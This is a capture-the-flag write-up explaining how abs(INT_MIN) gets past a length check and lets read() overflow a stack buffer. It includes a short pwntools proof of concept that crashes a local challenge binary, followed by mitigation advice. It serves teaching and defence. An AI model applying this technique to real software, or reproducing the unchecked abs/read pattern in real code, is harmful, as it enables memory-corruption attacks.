Contents

Code Snippet Serie - 05 - Integer Overflow & Stack Overflow

Challenge Description

/assets/images/writeups/code_snippets/code-snippet-01-05.jpg

This challenge, authored by @baguette, involves exploiting an integer overflow vulnerability combined with a stack overflow, allowing arbitrary writes to the stack.

Vulnerability Overview

🛑 Vulnerability: The vulnerability lies in the improper handling of integer values and the use of the read function, which allows writing arbitrary data to the stack.

Exploitation Process

1. Triggering the Integer Overflow:

  • When len is set to -2147483648 (minimum value of a signed 32-bit integer), the call to abs(len) results in an overflow. Instead of returning 2147483648 (which is out of range for int), it wraps around and remains -2147483648.

2. Bypassing the Length Check:

  • The condition if (len > 64) fails because -2147483648 is interpreted as a negative value, bypassing the check.

3. Exploiting the Stack Overflow:

  • The read function interprets len as an unsigned value (size_t nbyte) when used as the third parameter:
    #include <unistd.h>
    
    ssize_t pread(int fildes, void *buf, size_t nbyte, off_t offset);
    ssize_t read(int fildes, void *buf, size_t nbyte);
    
    This allows writing up to 2147483648 bytes into the buf array, overflowing the stack and potentially overwriting critical data such as return addresses.

Proof Of Concept

from pwn import *

binary = './my-challenge'
context.binary = binary
p = process(binary)

payload = b"-2147483648"
p.recvuntil(b"Enter the length of your guess (max 64): ")
p.sendline(payload)

payload = b"A" * 10000
p.recvuntil(b"Enter your guess: ")
p.sendline(payload)

p.interactive() # SIGSEGV

Mitigation

🔒 To mitigate this vulnerability, the following measures can be taken:

  1. Validate Input:

    • Ensure that len is strictly validated to be within the bounds of the buffer size (e.g., 0 <= len <= 64).
    • Explicitly check for INT_MIN before calling abs, as abs(INT_MIN) causes undefined behavior.
  2. Avoid Dangerous Functions:

    • Replace read with safer alternatives like fgets or read with explicit bounds checking.
  3. Fix Integer Overflow:

    • Avoid using abs on potentially overflow-prone values. Instead, validate inputs before performing operations.

Additional Resources